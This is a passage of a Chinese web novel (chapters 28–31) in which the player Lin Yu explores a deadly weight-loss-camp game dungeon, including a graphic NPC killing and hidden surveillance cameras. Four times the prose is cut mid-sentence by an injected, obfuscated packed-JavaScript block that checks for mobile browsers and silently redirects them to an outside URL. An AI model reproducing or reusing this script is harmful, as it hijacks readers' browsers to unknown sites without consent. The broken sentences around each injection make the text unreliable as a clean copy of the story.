都是至少经历好几个副本的老玩家了,没有人是傻子,讲讲条件就算了,难道还能真的离开副本范围? 但是也没有人从背包里把东西拿出来。如果这个NPC只是知道他们藏了东西,却找不出来的话,大概许多人仍然不会按照丁经理说去做。 然而这个NPC像是预料到玩家的态度,张口像唱数一般说道:“钱刚:1.44千克牛肉,2.21千克红薯,1.82千克青菜……林屿:0.66千克羽衣甘蓝,1千克生菜……田子阳——0.05千克鸡蛋?” 什么?他才拿这么点东西?林屿从玩家中找到人,只见他的餐盘中孤零零地滚着一颗蛋,和一众玩家格格不入。 直到把所有玩家拿走的食物都报了一遍,丁经理才意犹未尽地舔舔嘴唇,“我说错了吗?这些就是你们这一顿的饭,以后也是一样,拿多少吃多少,一天三餐,每餐分量不能少于1千克。” 玩家一片寂静无声,面面相觑地看着彼此——这个NPC竟然能知道系统背包里还有多少东西! 林屿心里无法抑制地涌现出慌乱,就像是刚刚来到第一个副本的时候,一切都在失控,一切都和之前所知的常规背道而驰,载着她的列车脱出轨道,世界在偏移,在爆炸。 鼓膜里充满了心跳的声音,她握住拳头,深呼吸,慢慢冷静了下来。玩家在窃窃私语,似乎有人还在狡辩,但NPC的态度依然斩钉截铁,一点也没有软化。 “要么你搜出来,要么你就是在污蔑!” 丁经理看着仍然不肯承认的钱刚几人,眼里闪过一丝不耐,不过这一点情绪被很快隐藏起来,他走向摆放着食物的桌台,随手拿过一份水煮牛肉,在中央的长桌上找了个位置吃起来,不再理会玩家的叫嚷。 方才吵闹的四个玩家是“玩家公会”的两人和一对情侣,他们似乎认为自己吵赢了丁经理,没有人再阻止他们装食物进背包,开始继续搜刮——毕竟过去从来没有NPC发现带不出去的食物和能放进背包食物的区别,而且NPC没有说搜身的事,大概率只是知道他们多拿,却不知道他们放在了哪里。 只要他们坚决不拿出来,这些副本里的NPC能奈他们何? 有这么多食物,就算不能通关也值了,再说商城涨价,通关的200积分能买多少东西?不足这里捞到的零头。 其余的玩家犹犹豫豫,有的再次装了点东西,有的直接转身坐下,开始打量起食物来。 林屿直接转身坐到餐桌边,把食物从空间里放了出来,摆在餐盘里开始研究。 水嫩嫩的蔬菜,看起来非常新鲜,充满了食欲,从沙拉里拿出来的甘蓝上还有一些酱料粘在叶片上,总之没有发现什么问题。 孙覃和孟锦竹看见她的行动也没有再往背包里装什么东西,状似不经意地坐在她的斜对面,也把刚才拿的从空间里取了出来。 田子阳不用说,和林屿是最早离开的两人,只不过他坐得比较远,漆春和另一个玩家又装了一点就回来了,两人坐在林屿对面,放下装好食物的餐盘。林屿认出另一个人是先前和孟锦竹他们一起出现在泳池边的玩家。 漆春扭头,眼睛瞄向被玩家避得远远的丁经理,似乎被吓了一跳,飞快地转回来,一声压低的惊呼:“他在看我们!” 另一个玩家和隔开一个过道背对着NPC的孟锦竹都被这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495270|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话吓到了,头皮几乎要炸开。“不会吧,难道他们才是对的,不该理会那些话,直接装东西就完事,我们这样再拿出来是不是就在NPC眼里暴露了……” “应该不是。”林屿已经彻底冷静下来,目光稍抬,对上了丁经理的目光。只见他往嘴里送了一勺食物,大开大合地嚼着,似乎注意到了她的目光,眼珠微微转动,就这样一眨不眨,看得人心慌。 林屿移开目光,对同桌的两人说道:“我们藏不藏东西其实不是重点,重点是他让我们全部吃完。” “你是说饭菜有问题?”漆春惊道。 旁边座位的两个队友也认真听着这边的谈话。 “还不能确定,但少拿点总没错,何况每餐有最低量要求。”林屿说道,“所以我觉得吃太多不是什么好事。” 另一个玩家纠结道:“虽然是这样,但是……放弃这么好的屯物资机会真的好让人心痛啊……” 他注意到同桌的目光,补充道:“我叫汪睿,你们呢?” 林屿和漆春介绍了一遍自己的名字,又听他问:“那这些东西要吃吗?” 坐在这边的都是谨慎的人,因为不谨慎的人还在另一边搜刮食物,也是因为这个原因,这一桌三个陌生的玩家能找到聊的话题。 林屿拿起一片翠绿的生菜嗅了嗅,咬了一小口,“外观、气味和口感都没有异常,要不要吃你们决定吧。”说着她吃了起来。 汪睿舀了一勺山芋泥,脸上是豁出去的表情,“反正好久没吃过饱饭了,就当在副本里奢侈一回!”说完吧芋泥送入嘴巴。 漆春却没有动作,她又把食物装了回去,“听你一说,我有点吃不下了……” 林屿吃了几口蔬菜,清新的绿叶味道在嘴里游荡,甜苦来回交换,一开始还挺好吃,但是只吃蔬菜真的会腻……她渐渐皱起脸,强迫自己从杂食变成草食——她不想再多拿一点,增加吃进去的总量。 □□面无表情地侍立在一旁,见到丁经理起身,恭敬地送走了他,看了看手腕上的表,又回到原处站着。 林屿注意到了这一点,出声问道:“现在是什么时间了?” “下午两点整。”他回答。 “我们在哪里休息,晚上就寝的时间有规定吗?” “各位学员住在二楼的房间,两人一间,晚上就寝时间为21:00至7:00。” 也就是说现在离就寝时间还有7个小时,不过还需要减去4小时的锻炼时间。3个小时的探索时间吗……林屿痛苦地往嘴里塞了一口草。 再加把劲,多留一点自由时间。 但是…… 吃不完,根本吃不完。 不如说什么东西一顿吃太多都会变得十分难吃…… 漆春起身,“我先去看看这里的情况。” 她在餐厅门口被□□拦住了。 “您不能出去。” 央求无果,漆春丧气地坐回原处,拿出了刚才放进背包的食物。 “看来还是要吃啊……” 另外四个执迷于物资的玩家察觉到了不对劲,他们想要离开餐厅,然而原本看起来比较好欺负的NPC却如同贴墙一般拦在前方,无论他们用什么技能都没法通过。 “请你们吃完再走。”气势变得恐怖的NPC说道。 29. 第二十九章 林屿安静地吞咽着不再可口的蔬菜,心里略有几分后悔,米饭是系统商城最便宜的食物,每天还可以从团队里领一碗,出于营养搭配的心思,她装的都是蔬菜,而没有去碰那些和主食区别不大的山药泥土豆泥,至于肉类……倒并不是不想吃,只是出于一点谨慎,担心副本的肉食来源不明罢了。 虽然目前来看肉食并没有什么问题。 到现在为止,系统依旧没有发布任务,像是让玩家自行探索怎么通关一样。第一回的安心小屋是副本开始的时候发布任务,第二回的登山是阶段性地发布任务,林屿不知道这一回是不是在中途才会发布任务,或者需要找到线索以后任务才能触发。 或许之后可以问问队友。 但无论是哪一种可能,将玩家投放至陌生的副本却不告诉他们方向,就好像让不了解大海的人在茫茫海洋中找到靠岸的地方,让人恐慌茫然,无所适从。 而且……她心里隐约不安,先前也不是没有玩家发现这件事,但似乎所有人都不知道为什么,如果没有心知肚明却不动声色的人,那么就是以前从未有过这种情况。 嘶,结合之前小黑屋的事情来看,似乎这个世界正处于变动之中,而她恰好不走运地在变化加剧时来到了这里,许多听来的经验都不一定管用了。 但无论如何,目前的当务之急都是尽快吃完这堆草,多探索一些场地,弄清这次的任务。 “哐当”,地面闷重地震动了一下,摆放餐食的长桌桌腿似乎因为年久失修,突然断了一根——正好是离NPC□□最近的那一侧,桌台翻倒在地,各种肉菜粗粮撒得到处都是,几颗鸡蛋咕噜噜地滚到林屿脚边。 可奇怪的是,那些装食物的餐盘和用作装饰的花瓶没有随着倾斜的台面滚落下去,依然牢牢粘附在桌面上,就像焊死了一般。 □□被身侧的动静吸引,扭头去查看,趁着这个时机,肖昌盛眼疾手快地避过了他的封锁,向食堂门外逃去,钱刚大喊着“等等我”也一只脚越过了□□,然而时机转瞬即逝,这个NPC反应过来,伸出铁臂般的胳臂将人挡了回来。 “他妈的!”钱刚破口大骂,不知在骂这个纠缠不放的NPC还是那个溜得比兔子还快不顾同伴死活的玩家,他凶狠的表情让身后的情侣后退一步,其中的男玩家崩溃道:“好不容易得来的物资,我不想现在把那些东西给吃了!” “那就想办法!”钱刚吼道。 男玩家踌躇片刻,拿出一盒火柴,犹豫道:“要不、要不把他点了?” NPC身上着火,总不至于不去扑灭,还纠缠着玩家不放吧? “就这么一点火?”钱刚嗤道。 “我的技、技能可以加把油。”男玩家说着,心一横,被NPC记恨就记恨,大不了被追杀死通关失败,去小黑屋蹲一圈就回来了,物资还是在背包里,顶得过十来次无伤过本了,怎么算也非常值得! “别去!”他的女友害怕地扯着他的手臂,“你忘了上回吗?我们直接被乱刀砍死,那感觉……太可怕了!” “放心,这里是健身、不,减肥营,没有什么大砍刀之类的东西。”男玩家看着撒在脚边,背包装不下的牛肉粒,想起满载的六格背包——他连手环都拿出来扣在了手上,免得单独占去一格,因此绝无可能乖乖遵守规则吃完所有食物,“而且这回之后,我们至少一个月都不用进本了,难道不值得赌一把吗?” “但是……”女友想说不如就在食堂里坐着不出去吧,消极游戏,安静地失败,但是男玩家已经丢出了火柴,而□□胸口处的衣襟上也泛起了油光。 “轰——”火苗借助燃料一下子窜起老高,□□果然自顾不暇地开始扑火,没有精力再顾得上那几个要逃走的玩家。三人趁着这个机会争先恐后地从□□身旁逃出餐厅大门,一头扎入走廊。 “哒、哒、哒。”清脆的皮鞋声响起,等餐厅内的众玩家从这场骚乱中回过神注意到的时候,这声音已经停在近处。 越过扑火的NPC□□能够看到走廊上的情况,来人一身笔挺的西装,头发打理得整整齐齐,像是正要去参加会议一样,堵在了离开饮食中心的必经之路上。 林屿打量着来人陌生的面孔,心里隐约有些失望。 是个不认识的NPC。 此时,这个NPC停在三个出逃玩家的面前,堵在他们的必经之路上,左手略微抬起,卡着一个人的脖子,几乎是一路把他拖过来的,无名指上的戒指散发着碎光。 肖昌盛满面惊恐,两只手都握在这个NPC的手腕上,却像是被禁锢了一般,无法挣脱他的铁掌。 不像NPC丁经理一开始的假热情,他脸上的表情只有冷漠,“丁经理说过一次的规则,我不想再提醒第二遍。” “你……”钱刚正要反驳什么,却长大了嘴巴,难以置信地瞪大了眼,像是看到了什么可怕的事情。 这个NPC手上,肖昌盛被一股大力掐得直翻白眼,无声地张大了嘴,眼里爆出血丝,像是在经历极致的痛苦一般,地上被打翻踩烂的餐食开始蠕动流淌,挤成一股股流水的形态,争先恐后涌进他的嘴里,他的腹部一点点涨鼓起来,宛如怀孕一般撑起了衣服。 纤维破裂声像是惊雷,把离得最近的三个玩家震得一抖,就在他们惊恐万分的目光中,被拖在地上的肖昌盛肚皮“嗤”地一声爆裂,宛如水球炸开,血浆溅了他们满身满脸,内脏和食物残渣流到了地上,几乎要沾上他们的脚面。 三个玩家都被这惊骇又恶心的场景吓到了。而这个NPC身上却没有沾到一丝秽物,他丢开尸体,嫌恶地看了地上一眼,绕开污渍向前走了两步,三个玩家齐齐后退,男玩家跌倒在地,被女友向后拖拽着回到了餐厅。 □□已经扑灭了衣服上的火焰,阴沉沉地看了在他身上点火的男玩家一眼,低头恭敬地喊道:“周老板。” 看来这人就是整个减肥营的最高权力人,也是最危险的NPC,结合先前□□介绍的情报——一个董事一个经理两个教练来看,他是董事长。 贺望不在出场的三人之中,难道他就是最后那一个身份? 不过身为教练竟然敢偷懒到现在还没出现,他是真没把其他NPC放在眼里。 虽然方才的一切发生在门口,但里面的玩家是能够看到的,林屿庆幸自己吃的是蔬菜,而且已经吃完了,不然现在就要悲催地像旁边两位一样,想吐不敢吐,还有一盘子东西要吃。 周董事长冷冷地注视着三个想要逃跑的玩家,位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495271|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置离他最近的钱刚感受到了最大的压迫,双腿发抖,面对其他玩家时飞扬跋扈的嚣张已经无影无踪,他颤抖着声音道:“对、对不起,我不该浪费食物,我这就把拿的所有东西都吃完。” 周董事长没有开口表态,像是过去一个世纪那么长,钱刚的冷汗浸透后背,再次恐惧地开口,“今天,今天一定吃完,不会耽误训练任务。” “你们之后的标准翻一倍。”NPC收回冰冷的目光,转身往回走,“□□,把地板收拾好。” □□低头应答。 “哒哒、哒、哒。”直到声音听不见之后,所有的玩家重重地呼出一口气,坐在座位上的玩家半是庆幸半是发愁,庆幸自己没有因为物资而盲目,发愁的是已经拿的也有不少,一口一口吃完不知要多久。 “标准翻一倍是什么意思?”过了一会儿,三人中的女玩家向在场唯一知道方才那句话意思的NPC问道。 □□面带阴森的微笑,状似细心地解释道:“就是现有的各项任务里,完成量增加了一倍,原先是每人每天4小时运动量,你们需要每天8小时,原先每人每顿需要食用1千克以上减脂餐,而你们需要每顿食用2千克以上——我们不提倡节食减脂,那样反弹厉害,而我们营地是保证终生效果的。” 听起来还挺负责,现实里的营地真该学学他们的售后。 林屿敏锐地捕捉到“任务”两个字,她问道:“你说了我们每天需要完成的任务,但你没说我们需要在这里留多久,有时间限制吗?必须在多长时间内减到指标?” “没有时间限制。”□□说道,“只要你们减到约定的重量,就可以离开。” 所以,约定的重量究竟是多少?林屿想起他开始糊弄玩家的话:按照合约上的来。他们这些玩家可能签了合同,那合同在哪里呢? 玩家空着手到来,如果有合同的话,大概率在经理或者董事办公室。 她的第一步,似乎就是去那两个NPC的办公室打探一番。 不过,在那之前,需要弄清楚这里各个房间的位置和布局。 □□说完,便开始收拾这一地狼藉。但这回即使他不挡在路上也没有人硬闯了。 田子阳已经完成了餐厅的规定,潇洒一捋头发,扭身出了门。 林屿看见孟锦竹和孙覃的餐盘里还剩一半,估计吃完还要点时间,便不再等待,起身准备离开。经过侧倒的桌台时,她蹲下身,看了看折断的桌腿。 端口参差不齐地支棱出木刺,不像是被利器砍的,似乎真的是年久失修,但真的那么巧吗?就在那几个玩家想冲破封锁离开的时候?而且这条桌腿的位置恰好在□□身旁。 她察觉到背后的视线,蓦地回头,钱刚匆匆收回目光,痛苦地舀起盘子里的食物送进嘴里。心念电转间,她想到了自己那一开局就坏掉的跑步机——是他! 是钱刚的技能! 他的技能,和巧合有关?还是能让器物损坏? 林屿心头一凛,这个技能真是防不胜防,在一般情况下没有大用,但是危急时刻对人不利的巧合往往致命,一开始她就因为跑步机问题差点被他所伤。 她将这个人放进了危险敌人的位置,心里有了想把他淘汰出局的念头。 30. 第三十章 暂时按捺下涌动的不安,林屿又有些犹豫,她有些拿不准种植者组织的底线,不知是否容许主动淘汰他人。如今见识到真正种植者对玩家的重要性,并且已经知道了一些隐秘,获得了一些优待,退出组织不是明智的选择,她需要考虑自己行为的后果。 担心久蹲腿麻,林屿微微挪动了一下脚,后跟处碰到了什么东西,她回过头,看见一个花瓶。这个花瓶就粘在桌子上,里面插着红红绿绿的假花,瓶口处有什么东西反射出的光亮一闪而过,吸引了她的注意。 林屿从瓶子里抽出假花,还没查看几秒钟,手中的东西就被抽走了,□□板着脸,挨个收走了瓶子里所有假花,“这些已经脏了,需要更换。” 林屿没有纠缠,扶着桌子站起身,顺势敲了敲——这桌子的厚度比一般的厚很多。 没关系,她已经看清楚了假花里藏着的东西。 一个摄像头。 有人在看着他们。 原来如此,一切都说得通了,就是因为知道他们有没有遵守规定,不用担心玩家欺瞒来摆脱规则的事,丁经理才没有留下来监视玩家,周董事长才能及时赶到,给违背的人一个下马威。就是不知道其它地方有没有同样的监控。 这样看来,那些NPC说过的话是不能轻易违反的。 先前那个玩家的血肉还留在走廊上,青紫的肠子蜿蜒在地上。林屿小心翼翼地绕过去,略有些心悸地移开目光。她是第一次看到这样惨烈的现场,开膛破肚的玩家和她自己虽然是敌对关系,但彼此都有着同样的身份,他们都是玩家,并且都是人。 如此惨烈的死亡昭示着非比寻常的疼痛,而他的痛苦或多或少能够被在场的玩家感知。 希望他在小黑屋里安息。 她似乎有些理解为什么白城边缘的废墟里有那么多被磨去了精神,麻木地成为一具具幽魂的玩家了。 一遍又一遍被残忍诡异的NPC杀死,然后在黑暗寂静中隔绝七天,饥饿无比的玩家一直重复着这一历程,这让“没有死亡”这个机制从幸运变成了劫难——一场无止尽的折磨。 所以,这个地方究竟想要玩家们做什么? 如果隐藏在游戏和副本背后有一双眼睛和一双手的话,他的目的又是什么? 思索间,林屿离开了通往餐厅的走廊,来到大厅。另一条走廊似乎连通的是先前她所在的健身房,她走过去,看到了门口上张贴的告示。 致各位成员: 一旦选定,至少健身2小时,期间不可更换项目。 限入4人。 至少两小时?还不能换运动种类?如果都是这样的话,每天的四小时强制时间只够选两项运动。限制进入四个人又是为什么呢?里面的每一种器材都不只四台。 林屿暂时没有头绪,这时,她听见门内的响动,一推开门扇,“嘎吱——嘎吱——”令人牙酸的金属摩擦声响几乎刺穿耳膜,她顿了顿,看向室内。 田子阳汗流浃背地从单车上跨下,脚蹬飞速地转动着,仿佛还有人在上面发力,不过它们很快就开始减速,最后渐渐停了下来。 “好险,差点就把腿蹬断。” “这些器材似乎很容易出问题?”林屿问道。 田子阳深有同感地耸耸肩,“是啊,或许,这就是对我们考验。” “你似乎有办法应对单车的问题,怎么做到的?”林屿又问。 田子阳勾起嘴角,“这就涉及个人隐私了,你想知道的话不如先说说你自己的技能是什么。” 林屿挑眉,“所以是你的技能?看起来这回效果不佳啊。” “激将法对我没用。”田子阳比他表面看起来理智得多,“一个情报换一个情报,不过看在你先前帮了我的份上,友情告诉你,这里的器材都有点小问题,如果你选它们,运动的时候就要注意了。” “好啊,一个情报换一个情报,我不打算透露自己的技能,你还有想知道的吗?” 田子阳看了她一会儿,忽然笑了,“有啊,我想知道还有一个NPC在哪,为什么没有出现。” “你是说……”林屿顿了顿。 “第二个健身教练……不对,这里应该是别的叫法,辅助塑形师?陪同训练员?总之,我想知道有关他的情报。” 林屿默了默,不动声色道:“这会耽误我的运动时间,影响之后的自由探索,而且万一那是个危险的NPC……” “当然,这个情报的价值不止是你刚才的问题,你还可以再问一个。” “成交。”林屿说道,无声地垂下眼睫——这本来就是她的目的。 “那么,等你知道答案的时候再来找我吧,或者你可以先在这里练够四个小时?”田子阳说道。 “先不了。”林屿回绝,目送他坐上单车继续开始“锻炼”,自己在房间内走了一圈,重点留意天花板和各处角落。食堂里有监控摄像头,其他地方应当也有,果不其然,她在置物柜的锁眼里找到了。 不过她并未对监控做什么,若无其事地收回手自言自语道:“我好像没什么需要放的东西,还是去其它地方转一圈,决定选哪个项目吧。” 她回到了一楼大厅,拿出传信纸写了几个字,步入负一楼的阶梯。 负一楼是泳池,门口却没有张贴什么规则,似乎并不是必选的运动项目,也或者这里就是没有强制时间和人数。最开始她就是在这里见到她的队友们的,此时泳池边一个人也没有,蓝色的水波微微摇晃,清澈澄透,白炽灯的冷光照得周围的环境苍白空旷,后方更衣室门窗投下的阴影也越发深邃幽暗。 林屿走进更衣室,里面的光线比外面暗了很多,一排排柜子半敞着,金属门上漆面剥落,被锈蚀出黄褐色的痕迹。 更衣室连通淋浴间,在淋浴间最深处有一扇铁门,不知通向何处。林屿转了一圈,没有发现监控——也对,要是这里也安上监控了那这就不是个诡异副本,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495272|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个瑟情副本。 她伸手,铁门似乎是从里面被锁死了,一点也推不开,她将耳朵贴在门上,里面机器的声音隆隆作响,似乎是抽水机或者配电机在运作。 这里没有其他玩家,远离了那扇绣黄的铁门,四周便安静得出奇,只有一处漏水的水管在往下滴水,林屿走近,水管漏水的地方向下凹陷,似乎被什么东西砸到了,她瞥向管道内侧,目光一凝,明黄色的漆面上有一道黑红色的印记,像是干涸的血。 这里难道也有所谓的“副本考验”? 林屿精神紧绷起来,这时她听见闷重的响动,差点被吓一跳。泳池仍然没有人来,响动似乎是从那扇门后传来的,她再次将耳朵贴上房门,可里面杂音太重,完全听不清楚。但可以肯定的是,有人在里面,她听见了说话声。 “……太……浪费……” “……过了……又……消……” 字句在噪音中断断续续,唯一可以肯定的是那是男人的声音。 好奇心在胸腔里抓挠,里面的人是谁?他或者他们又在做什么?是已经见过的那几个NPC在里面,还是答应这个副本也要跟过来但现在还没见到的贺望? 可惜门外面甚至没有把手,看样子只有从里面才能打开,说明这扇门后的空间还有出口,不然根本无法进入。 她在外面默默地听了一会儿,从嘈杂的机器声中勉强分辨出了高压水流冲刷的声音。 林屿想了想,转身出了女更衣室,一头扎入了旁边的男更衣室。总之这里没别人,她再看看这里。 男女更衣室构造相同,陈设也一样,也连通一个淋浴间,淋浴间最深处有一扇同样的大门,锈迹斑斑,深黄与深红交错蜿蜒,让人看了就想远离。 这扇门比女更衣室的看起来还脏一点,但同样没有把手,也没有锁,和刚才那扇门一样,都只能从内打开。 林屿做了做心理建设,将耳朵贴上去,里面的声音和刚才听到的一样,隆隆作响的机器声,高压水流的冲刷声,似乎有人在里面做日常的清洁维护。当然,也可能是别的什么事。 这时,水流声忽然停下了,伴随一阵叮里当啷的响动,似乎有人在开锁。林屿心里顿时一紧,不由自主往后退了一步,然后看见门板随着里面的人用力而开始抖动。 不好! 不能在这里被看到! 先不说她出现在男更衣室会不会违反规则,就说里面的人,万一是那个高危NPC,不得一个照面就噶掉? 铁门已经被打开一条缝,林屿看向后面的更衣室,这里可以直直看过去,视线毫无阻碍直达门口,甚至离开负一楼的楼梯都能看见,她来不及跑出去了。 林屿用上技能,“嗖”地一下子躲进了更衣室,藏在了里面唯一一面高高的储物柜的后面。 脚步声响起,她屏息凝神地听着,神经虽然绷紧了,心里却略微放松。 不是皮鞋的声音,而且,只有一个人。 31. 第三十一章 林屿的后背贴着冰凉的铁柜门,随着逼近的脚步声屏住了呼吸,然而心跳却不受控制地在胸腔内碰撞,隆隆的鼓声在耳内响起,让人怀疑自己是不是变成了巨大的声源。 她站在那一排立柜的后面,静静等待着来人离去,幸运的是,心脏的跳动、血液的流动,这些巨大的动静被皮囊隔了一层,丝毫没有惊扰到外来者的注意。 另一头的铁门吱呀作响,然后“碰”地封闭,将恼人的机器嗡鸣隔绝在内。 那头还有一个人,不过那人没有出来。 林屿不知应该庆幸还是怎样,只要这个NPC离开,她就安全了。 脚步声渐渐远去,林屿内心松了一口气,随后又有些纠结,要不要伸出头去看一眼他是谁?就一眼,这可是关键信息,以后就知道谁在泳池这边的时候会带来危险。就一眼,小心一点,不会被发现的。 最终她说服了自己,背靠铁门,慢慢挪动着身子,准备到侧面去看看来人的背影。 这边的淋浴间并没有漏水,铁门关上以后,一切都很安静,林屿估摸着对方已经走出更衣室,于是加快脚步挪了两步,然而就是这两步,小腿擦过一个冰凉的物事,还没来得及反应,便听见金属落在地面的清脆声响。 物体似乎还在地面弹动了几下,撞击出一连串的动静。林屿的心跳直接卡到嗓子眼。 糟了!要被发现了! 果不其然,离开的脚步顿了顿,随后急速逼近,林屿心思电转,怎么办?是躲起来还是当做什么也没发生直接出去? 她确实没做什么,也没有违反什么摆在明面上的规则,就算因为女生不能进男更衣室惩罚她,后果也不会太严重,因为这只是一件小事。她完全可以大大方方地走到来人面前,说自己本来想游泳,只是走错了地方。 但是,在食堂走廊发生的事还是令人惊恐,这个副本的NPC在第一天就以这样残酷的方式杀死玩家,即使原因是对方对规则明知故犯,但也充分说明他们的冷酷。在外表像配电房的铁门后发生的事也许涉及隐秘,而她在此处又过于凑巧,一旦被怀疑……或许等待她的不比上一个玩家好多少。 就在脚步声即将绕过转角之时林屿做出了决定,她的“飞行”技能再一次发动,轻巧地跳跃到了立柜顶部,平趴在这个狭窄的空间内。 NPC绕着高柜走了几圈,没有找到人,倒是从地上捡到了什么东西。林屿只能看见他把东西放进裤兜里,没有看见那是什么,不过她猜应该是钥匙。 不可能碰到柜子里的东西,能从外面掉下来的只能是钥匙。 所以,那个柜子里放着什么东西吗? 她从柜子顶端露出一双眼睛,盯着离开NPC的背影——是□□,那个与玩家接触最多的引导者,他怎么会出现在这里?他不是应该在餐厅打扫现场吗? 等等!打扫现场! 林屿脑海里骤然开朗,他在打扫现场,而现场除了地上的食物不就是玩家尸体吗!他在铁门后抛尸?所以那后面是抛尸的地方? 这个想法让她的后背起了一层鸡皮疙瘩,玩家的淋浴房距离抛尸地只有一门之隔,实在令人胆战心惊。 等到□□走远后,林屿来到他刚才捡到钥匙的地方,那里果然有一个锁起来的柜子,林屿试着撬了撬,柜门纹丝不动,看来只能想办法拿到钥匙了。 离开前她又回去看了一眼铁门,黄褐与深红的锈迹侵蚀着表面,仿佛一层又一层干涸的鲜血。现在已经只有隆隆作响的机器声了。 刚才里面还有一个人,在□□出来之后从里面上锁,他又会是谁呢? 她似乎听到玩家的说话声,于是走出更衣室,出口处正遇上结伴而来的漆春和汪睿,他们看见里面突然冒出一个人,差点被吓一跳。 “我去!” “卧槽!” “是我。”林屿走进光线中, “你怎么在男更衣室?”汪睿惊讶地看着她,“难道我走错了?”他又扭头去对了对指示牌的文字,那确确实实是上田下力男,于是又扭回来盯着她。 “你……”漆春犹犹豫豫地问道,“是不是……有什么难言之隐……或是心理上是男生?” 林屿拒绝回答,转过话题问道:“你们吃完了?” “是啊。”说起这件事汪睿就一脸难受,“早知道就不拿那么多了,吃那么多个萝卜,那味道真的让人反胃!” “吃三斤一样的东西简直是味觉的灾难!而且是胃部的灾难!”漆春形容道,“不过我们还算好的,那三个人才是真的惨,那一背包的东西都要吃完,希望他们以后不会得厌食症。” 林屿想了想,“但副本的时间流速一般比白城快很多,你说我们吃了那么多东西,等通关回去以后,会不会胃部爆炸?” 她的说法让另外两人头皮发麻,汪睿痛苦道:“救命,为什么这个游戏要这样折磨我们的胃,不是饿得发慌就是撑得要爆,下次我坚决要老老实实听NPC的劝,再也不贪心了!” “应该不会吧,虽然我们在这里吃了真实食物,但回到白城时系统会治愈伤口,肯定也会让我们的身体状态恢复原状。”漆春回到正题,“对了,你是准备选游泳这一项吗?” “还没决定,刚才只是到处看了一圈,我打算看完所有项目再决定,反正还有时间。” “是需要谨慎决定。”漆春说道,“之前的单车就很诡异,如果不是你帮忙,我差点下不来。” “单车?”汪睿没有经历过健身房四个玩家的危机,漆春便向他解释了一遍。 “卧槽,原来器材也有问题,我还以为只有这个泳池很危险!”汪睿听完一脸凝重,不等两人问便解释道,“我来这个副本的时候就在泳池里,水底下有什么东西在拽我的脚,如果不是旁边人帮忙,说不定开局就淹死了……” “听起来是很危险。”林屿觉得泳池的危险度比健身房器材还高一些,不过,她本来也没有打算选择游泳这个项目。毕竟在水里,遇到危险都看不到是什么东西,也不好找借力点。 “这里我搜完了。”林屿准备上楼,走之前想到什么,转过头提醒道,“淋浴间让我感觉很不好,那里有道铁门,不知是做什么的,你们最好也不要靠近那里。” “行,你自己小心。”漆春干脆地点点头。 重新回到一楼大厅,林屿没有急着上楼,再次去餐厅外的走廊看了看,血迹和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495273|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尸体都已经不见了。 果然。 那扇门后极有可能就是抛尸的地点。 三个倒霉的玩家还没吃完背包里的食物,林屿收回目光,这时忽然注意到侧面的走廊。这里,因为先前被肖昌盛的尸体挡住了,她没有过去探索。 走廊幽深狭窄,尽头出两扇沾满黄色油污的布帘挂在顶上,垂下来遮住了上半部分视野,里面人影晃动,通过下半身的白色裤脚,她判断里面的人是个厨师。 这里竟然有个没有提过的NPC,但既然有餐厅,那么有个厨房和厨师确实很正常。 她正要靠近偷溜进去,忽然眼尖地看见墙上贴着一张纸,接着昏暗的光线,她分辨出纸上写着的内容: 【厨房重地,闲人免进。】 恰好此时布帘被一把掀开,肥头大耳的厨师把眉毛一竖,“谁在外面?” 林屿尴尬地和他面对面。 这下好了,无论是从规则上还是可能性上都进不去了。 越过他宽厚的肩膀,能看见案板上摆着几团白色黄色或紫色的“面团”,那应该就是山药土豆紫薯泥了,看起来他在做晚饭,和午饭种类一模一样的晚饭。 林屿露出尴尬而不失礼貌的笑容,“抱歉,我走错路了,以为这里是厕所来着。” 厨师一听气得赶人,“走走走,赶紧走!” 她从善如流地离开。 “这里!”一回到大厅,就看见健身房走廊口站着一个人,是韩舒模样的孟锦竹,她挥着手,等林屿靠近,一把将她拉到一处僻静的角落。 “你看了纸上的内容没有,怎么不回话?” 